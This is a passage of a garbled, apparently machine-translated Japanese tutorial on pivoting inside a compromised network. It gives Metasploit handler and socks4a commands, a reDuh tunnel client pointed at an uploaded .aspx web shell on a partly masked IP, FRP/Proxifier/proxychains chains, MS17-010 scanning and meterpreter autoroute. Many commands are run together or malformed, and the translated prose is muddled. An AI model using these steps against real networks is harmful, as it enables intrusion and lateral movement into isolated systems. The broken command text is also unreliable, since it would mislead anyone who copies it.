windows/shell_bind_tcpmsf5 exploit(multi/handler)setrhost 127.0.0.0.1msf5 exploit(multi/handler)setlport 5353msf5 exploit(multi/handler)setlport Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspxtelnet 127.0.0.1 1010 [CreateTunnel] 53533:127.0.0.1:53 Metasploitに浸透するか、Socks4aをオンにし、他のセキュリティツールをマウントして浸透を継続することができます。 MSF5 Exploit(Multi/Handler)auxiliary/server/socks4amsf5 auxiliary(server/socks4a)setsrvport 10080msf5 Auxiliary(server/socks4a)run -J run -j 知らせ なぜペイロードはメータープレターの代わりにシェルを使用するのですか? MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします! 分離ネットワーク(マルチレベルエージェント) イントラネットの浸透では、孤立したネットワークがあり、しばしば論理的に分離されています。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。 frp デュアルネットワークカードイントラネットサーバーの許可を取得し、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。 (詳細については、https://www.cnblogs.com/panda-mosen/p/13096260.htmlを参照してください) proxifier FRPで設立が行われた後、外部ネットワークソックスと内部ネットワークソックの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください) プロキシルールを設定し、対応するプロキシを選択します。 第2層エージェントが成功し、イントラネットアイソレータ445の検出が開かれました。 proxychains コマンドラインプロキシアーティファクトプロキシチャイン、2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください) Linked Metasploit、MS17_010検出、プロキシチェーンの伝送プロセスを見ることができます。 Metasploitを利用するために、セッションのルートにアクセスできる限り、多層ネットワークの浸透を直接実行でき、より便利です。しかし、メインセッションはドロップされ、それらはすべて削除されます! ターゲットのセッションを取得した後、IPセグメント情報を表示して、ルーティングテーブルを自動的に追加できます。 MSF5 Exploit(Multi/Handler)セッション1MeterPreter run get_local_subnetsmeterpreter run autoroute -pmeterpreter run run run run run run run autoroute autoroute -pmeterpreterバックグラウンド 上記はMeterPreterの許可に追加されます。または、ターゲットルーティングテーブル情報がわかっている場合は、直接追加できます。 MSF5エクスプロイト(マルチ/ハンドラー)ルート追加172.20.20.0/24 1 //セッションID 1MSF5エクスプロイト(マルチ/ハンドラー)ルート Metasploitに浸透し続けるか、靴下をオンにして、他のツールを取り付けて複数の層に浸透することができます。 MSF5 Exploit(Multi/Handler)auxiliary/server/socks4amsf5 auxiliary(server/socks4a)setsrvport 1080msf5 Auxiliary(server/socks4a)run -j、およびopen/etc/proxychains.conf オリジナルリンク:https://www.cnblogs.com/yokan/p/14057794.html